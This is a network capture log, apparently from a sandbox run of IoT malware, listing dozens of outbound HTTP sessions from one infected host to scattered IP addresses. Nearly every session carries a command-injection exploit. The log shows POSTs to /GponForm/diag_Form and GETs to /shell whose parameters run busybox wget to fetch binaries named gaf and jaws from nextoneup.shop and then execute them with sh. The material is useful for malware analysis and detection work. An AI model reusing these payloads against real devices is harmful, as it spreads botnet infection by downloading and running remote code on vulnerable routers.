663	192.168.2.13	48536	202.64.145.154	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.773813963 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
664	192.168.2.13	37188	2.202.207.197	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.773857117 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
665	192.168.2.13	49120	2.123.126.201	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.773883104 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
666	192.168.2.13	36374	210.27.77.236	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.773909092 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
667	192.168.2.13	36958	210.228.96.73	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.773932934 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
668	192.168.2.13	41210	109.81.43.37	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.773943901 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
669	192.168.2.13	58770	210.32.236.119	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.773973942 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
670	192.168.2.13	54768	212.199.199.130	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.774004936 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
671	192.168.2.13	48266	2.130.35.184	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.774029970 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
672	192.168.2.13	47716	117.99.200.21	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.774075985 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
673	192.168.2.13	58178	210.12.70.27	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.774101973 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
674	192.168.2.13	46028	118.211.157.215	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.774128914 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
675	192.168.2.13	32822	117.60.57.124	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.774156094 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
676	192.168.2.13	48538	94.65.5.78	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.783140898 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
677	192.168.2.13	48318	5.72.13.174	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.783173084 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
678	192.168.2.13	57858	37.199.8.122	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.783221006 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
679	192.168.2.13	56282	94.58.87.184	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.783236980 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
680	192.168.2.13	47972	94.60.77.14	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.783243895 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
681	192.168.2.13	50158	79.164.239.102	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.783278942 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
682	192.168.2.13	47894	212.51.166.65	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.783298969 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
683	192.168.2.13	51468	42.104.239.146	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.783329964 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
684	192.168.2.13	48558	173.44.211.253	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:54.894620895 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 03:59:55.097127914 CEST	322	IN	HTTP/1.1 404 Not Found Server: nginx Date: Sun, 14 Apr 2024 01:59:55 GMT Content-Type: text/html Content-Length: 162 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
685	192.168.2.13	45610	74.208.25.82	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:54.909817934 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 03:59:56.043246984 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
686	192.168.2.13	44542	17.248.175.20	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:54.925996065 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
687	192.168.2.13	51368	39.100.85.162	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:55.025743961 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 03:59:55.527415991 CEST	419	IN	HTTP/1.1 404 Content-Type: text/html;charset=UTF-8 Content-Language: zh-CN Transfer-Encoding: chunked Date: Sun, 14 Apr 2024 01:59:55 GMT Keep-Alive: timeout=60 Connection: keep-alive Data Raw: 63 66 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 7a 68 2d 43 4e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 21 2d 2d 20 e5 bf 85 e9 a1 bb e7 9a 84 20 6d 65 74 61 20 e6 a0 87 e7 ad be 20 2d 2d 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e e9 82 ae e7 ae b1 e9 aa 8c e8 af 81 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e e6 8e 88 e6 9d 83 e7 a0 81 e5 b7 b2 e8 bf 87 e6 9c 9f 3c 2f 68 31 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: cf<!doctype html><html lang="zh-CN"><head> ... meta --> <meta charset="utf-8"> <title></title></head><body><h1></h1></body></html>
Apr 14, 2024 03:59:55.527431965 CEST	17	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
688	192.168.2.13	40250	2.222.147.164	443

Timestamp	Bytes transferred	Direction	Data
